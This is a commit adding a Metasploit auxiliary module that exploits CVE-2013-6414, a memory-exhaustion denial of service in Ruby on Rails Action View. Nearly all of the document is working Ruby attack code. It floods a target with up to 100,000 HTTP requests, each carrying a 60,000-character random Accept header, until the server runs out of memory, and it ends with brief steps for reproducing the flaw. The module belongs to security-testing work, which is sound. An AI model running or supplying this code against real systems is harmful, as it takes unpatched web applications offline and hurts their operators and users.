Land rapid7#2724, @wchen-r7 and @jvennix-r7's module for CVE-2013-6414

Author: jvazquez-r7

modules/auxiliary/dos/http/rails_action_view.rb

@@ -0,0 +1,120 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Auxiliary
+  include Msf::Exploit::Remote::Tcp
+  include Msf::Auxiliary::Dos
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'Ruby-on-Rails Action View MIME Memory Exhaustion',
+      'Description'    => %q{
+        This module exploits a Denial of Service (DoS) condition in Action View that requires
+        a controller action. By sending a specially crafted content-type header to a rails
+        application, it is possible for it to store the invalid MIME type, and may eventually
+        consumes all memory if enough invalid MIMEs are given.
+
+        Versions 3.0.0 and other later versions are affected, fixed in 4.0.2 and 3.2.16.
+      },
+      'Author'         =>
+        [
+          'Toby Hsieh', # Reported the issue
+          'joev',       # Metasploit
+          'sinn3r'      # Metasploit
+        ],
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+          [ 'CVE', '2013-6414' ],
+          [ 'OSVDB', '100525' ],
+          [ 'BID', '64074' ],
+          [ 'URL', 'http://seclists.org/oss-sec/2013/q4/400' ],
+          [ 'URL', 'https://github.com/rails/rails/commit/bee3b7f9371d1e2ddcfe6eaff5dcb26c0a248068' ]
+        ],
+      'DisclosureDate' => 'Dec 04 2013'))
+
+    register_options(
+      [
+        Opt::RPORT(80),
+        OptString.new('URIPATH',     [true, 'The URI that routes to a Rails controller action', '/']),
+        OptInt.new('MAXSTRINGSIZE',  [true, 'Max string size', 60000]),
+        OptInt.new('REQCOUNT',       [true, 'Number of HTTP requests to pipeline per connection', 1]),
+        OptInt.new('RLIMIT',         [true, 'Number of requests to send', 100000])
+      ],
+    self.class)
+  end
+
+  def host
+    host = datastore['RHOST']
+    host += ":" + datastore['RPORT'].to_s if datastore['RPORT'] != 80
+    host
+  end
+
+  def long_string
+    Rex::Text.rand_text_alphanumeric(datastore['MAXSTRINGSIZE'])
+  end
+
+  #
+  # Returns a modified version of the URI that:
+  # 1. Always has a starting slash
+  # 2. Removes all the double slashes
+  #
+  def normalize_uri(*strs)
+    new_str = strs * "/"
+
+    new_str = new_str.gsub!("//", "/") while new_str.index("//")
+
+    # Makes sure there's a starting slash
+    unless new_str.start_with?("/")
+      new_str = '/' + new_str
+    end
+
+    new_str
+  end
+
+  def http_request
+    uri = normalize_uri(datastore['URIPATH'])
+
+    http = ''
+    http << "GET #{uri} HTTP/1.1\r\n"
+    http << "Host: #{host}\r\n"
+    http << "Accept: #{long_string}\r\n"
+    http << "\r\n"
+
+    http
+  end
+
+  def run
+    begin
+      print_status("Stressing the target memory, this will take quite some time...")
+      datastore['RLIMIT'].times { |i|
+        connect
+        datastore['REQCOUNT'].times { sock.put(http_request) }
+        disconnect
+      }
+
+      print_status("Attack finished. Either the server isn't vulnerable, or please dos harder.")
+    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
+      print_status("Unable to connect to #{host}.")
+    rescue ::Errno::ECONNRESET, ::Errno::EPIPE, ::Timeout::Error
+      print_good("DoS successful. #{host} not responding. Out Of Memory condition probably reached.")
+    ensure
+      disconnect
+    end
+  end
+end
+
+=begin
+
+Reproduce:
+
+1. Add a def index; end to ApplicationController
+2. Add an empty index.html.erb file to app/views/application/index.html.erb
+3. Uncomment the last line in routes.rb
+4. Hit /application 
+  
+=end